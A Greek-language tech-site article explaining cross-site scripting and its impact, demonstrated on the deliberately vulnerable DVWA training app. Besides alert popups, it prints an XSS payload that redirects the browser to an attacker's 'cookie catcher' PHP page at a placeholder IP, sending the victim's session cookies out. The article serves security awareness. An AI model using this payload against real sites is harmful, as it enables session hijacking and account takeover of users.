15946 computer article

Οι καταστροφικές συνέπειες του XSS

Παρακολουθούμε τον τελευταίο καιρό το XSS να γίνεται όλο και πιο γνωστό στον χώρο της ασφάλειας εφαρμογών. Αν και το  SQL Injection δεν λέει να χάσει την πρωτιά του, ως η πιο διαδομένη ευπάθεια σε συστήματα πληροφορικής όπως αυτά καθορίζονται από το OWASP Top 10, οι ευπάθειες τύπου XSS κερδίζουν όλο και περισσότερο έδαφος καθώς αυξάνεται η γνώση εκμετάλλευσης της ευπάθειας καθώς και οι επιπτώσεις μιας τέτοιας επίθεσης.

Οι ευπάθειες XSS χωρίζονται σε 3 τύπους:

  • Reflected
  • Stored
  • DOM Based

Οι λεπτομέρειες σχετικά με κάθε τύπο ευπάθειας είναι πέραν του σκοπού αυτού του άρθρου, το σημαντικό είναι να λάβουμε υπόψη ότι οι ίδιες επιπτώσεις μπορούν να συμβούν σε κάθε τύπο.

Στις περισσότερες περιπτώσεις, όταν παρουσιάζεται μια ευπάθεια τύπου XSS είτε από κακόβουλους χρήστες είτε από συμβούλους ασφάλειας συστημάτων βλέπουμε μια από τις πιο ανώδυνες επιπτώσεις η οποία είναι η παρουσίαση ενός παραθύρου popup μέσα στον browser το οποίο επιτυγχάνεται με την εισαγωγή του κώδικα Java <script>alert(“XSS”)</script>. Με απλά λόγια διατάζει τον browser να εμφανίσει το παράθυρο με το μήνυμα “XSS”.

Για την παρουσίαση θα χρησιμοποιήσουμε το Damn Vulnerable Web Application (DVWA), το οποίο έχει σχεδιαστεί για την εξάσκηση και εκμάθηση διαφόρων ειδών ευπαθειών.

DVWA

Αν και αυτό καθαυτό δεν δημιουργεί ανησυχία στον χρήστη, για τους κακόβουλους χρήστες αυτή είναι μια εισαγωγή για περαιτέρω κλιμάκωση της επίθεσης με αρκετά καταστροφικά αποτελέσματα.

‘Ένα άλλο σημαντικό στοιχείο το οποίο πρέπει να λάβουμε υπόψη είναι ότι, η επικινδυνότητα της ευπάθειας αυτής διαφαίνεται περισσότερο όταν η εφαρμογή είναι προσβάσιμη σε χρήστες μετά την καταχώρηση των διαπιστευτηρίων τους π.χ eBanking, eBay, Amazon κτλ.

Οι κακόβουλοι χρήστες χρησιμοποιούν τεχνικές ούτως ώστε η κάθε εφαρμογή να μην αναγκάζει τους χρήστες να καταχωρούν τα διαπιστευτήρια τους κατά την πλοήγησή τους από σελίδα σε σελίδα, αλλά να αποθηκεύονται σε ειδικό αρχείο το οποίο αποστέλλεται από τον διακομιστή και αποθηκεύεται στον browser του χρήστη. Το αρχείο αυτό περιλαμβάνει πληροφορίες από το αν ο χρήστης έχει ήδη κάνει login, μέχρι και πληροφορίες σχετικά με το καρότσι αγορών του κτλ.

Τα αρχεία αυτά είναι τα γνωστά μας Cookies, τα οποία συνήθως σβήνονται αμέσως μετά το κλείσιμο του browser, αν δεν γίνει αυτή η διαδικασία, τότε αυξάνει ο κίνδυνος κλοπής και χρήσης τους σε μεταγενέστερο στάδιο. Το αρχείο αυτό μεταφέρεται πίσω στον διακομιστή κάθε φορά που ο χρήστης ανοίγει μια σελίδα στην εφαρμογή.

Κάθε φορά που ο χρήστης ζητά μια σελίδα ο browser αποστέλλει το Cookie μέσα στο header της αίτησης. Στην περίπτωση που ο χρήστης δεν έχει Cookie ή αυτό έχει λήξει τότε ο διακομιστής απαντά με ένα νέο Cookie στο δικό του header το οποίο αποθηκεύεται στον browser.

Όταν ένας κακόβουλος χρήστης ανακτήσει το αρχείο, τότε αυτό θα μπορέσει να εισέλθει στην εφαρμογή χωρίς την ανάγκη καταχώρησης διαπιστευτηρίων και θα μπορεί να χρησιμοποιήσει την εφαρμογή ώς ο νόμιμος χρήστης της.

Ο τρόπος που δουλεύει η συγκεκριμένη επίθεση παρατίθεται πιο κάτω.

XSS Flow

Εδώ αξίζει να αναφέρουμε ότι ο Chrome έχει ενσωματωμένο τον XSS Auditor, ο οποίος είναι ένας μηχανισμός αναγνώρισης και παρεμπόδισης εκμετάλλευσης των ευπαθειών τύπου XSS.  Αν και ο μηχανισμός αυτός αναγνωρίζει τις προσπάθειες και προστατεύει τον χρήστη με την παρεμπόδιση εκτέλεσης του κώδικα, παρόλα αυτά έχουν γίνει γνωστές επιθέσεις εξαπάτησής του.

Όπως στην περίπτωση της εμφάνισης του μηνύματος “XSS”, με τον ίδιο απλό τρόπο μπορεί να εμφανιστεί και το Cookie που ανήκει στον χρήστη και είναι αποθηκευμένο στον browser του, με την εισαγωγή του κώδικα <script>alert(document.Cookie)</script> .

Μια από τις δυσκολίες επιτυχίας των επιθέσεων αυτών είναι το γεγονός ότι η ευπάθεια παρουσιάζεται στο παράθυρο του χρήστη. Δηλαδή, έστω και αν εμφανιστεί το Cookie στην οθόνη του χρήστη αυτό δεν το καθιστά επικίνδυνο εκτός και αν ο κακόβουλος χρήστης έχει πρόσβαση στην οθόνη του θύματος. Οι κακόβουλοι χρήστες σκέφτηκαν αφού οι ευπάθειες αυτές έχουν σχέση με την εισαγωγή κώδικα τότε το επόμενο βήμα θα ήταν να εισάγουν κώδικα ο οποίος θα στέλνει τα Cookies σε αυτούς μέσω άλλων καναλιών όπως email ή μια ιστοσελίδα η οποία ανήκει στον κακόβουλο χρήστη και μπορεί να εξυπηρετήσει ως Cookie catcher.

Επιστρέφουμε στο DVWA με στόχο να πάρουμε τα Cookies του χρήστη και να τα στείλουμε στο Cookie catcher που ελέγχεται από εμάς και εισάγουμε τον κώδικα <script>document.location=”http://xxx.xxx.xxx.xx/catcher.php?c=”+document.Cookie</script> όπου Χ είναι η IP του Cookie catcher μας.

Στη δική μας περίπτωση ο Cookie catcher μας είναι μια απλή PHP ιστοσελίδα η οποία αποθηκεύει τις πληροφορίες που έρχονται όπως:

  •  Cookie
  • IP
  • Referrer
  • Date

Τα αποτελέσματα της επίθεσης φαίνονται παρακάτω αποδεικνύοντας την επιτυχία της επίθεσης αφού καταφέραμε να αποσπάσουμε τα Cookies καθώς και άλλες χρήσιμες πληροφορίες. Ο κακόβουλος χρήστης μπορεί τώρα να εισέλθει στην εφαρμογή με την χρήση των Cookies και χωρίς την ανάγκη καταχώρησης κωδικού. Επίσης, σημαντικό είναι ότι η επίθεση αυτή είναι πολύ δύσκολο να αναγνωριστεί από τον χρήστη, καθώς το μόνο που βλέπει είναι ότι η συγκεκριμένη σελίδα δεν φορτώνει.

cookies

Σκοπός του άρθρου αυτού ήταν να δείξουμε ότι οι ευπάθειες τύπου XSS δεν περιορίζονται σε απλά popup παραθυράκια, αλλά μπορούν να έχουν καταστροφικές συνέπειες όπως κλοπή προσωπικών δεδομένων, κλοπή χρημάτων κλπ.

 

 

iGuRu.gr The Best Technology Site in Greecegns

κάθε δημοσίευση, άμεσα στο inbox σας

Προστεθείτε στους 2.109 εγγεγραμμένους.

Written by Δημήτρης

O Δημήτρης μισεί τις Δευτέρες.....

Αφήστε μια απάντηση

Το μήνυμα σας δεν θα δημοσιευτεί εάν:
1. Περιέχει υβριστικά, συκοφαντικά, ρατσιστικά, προσβλητικά ή ανάρμοστα σχόλια.
2. Προκαλεί βλάβη σε ανηλίκους.
3. Παρενοχλεί την ιδιωτική ζωή και τα ατομικά και κοινωνικά δικαιώματα άλλων χρηστών.
4. Διαφημίζει προϊόντα ή υπηρεσίες ή διαδικτυακούς τόπους .
5. Περιέχει προσωπικές πληροφορίες (διεύθυνση, τηλέφωνο κλπ).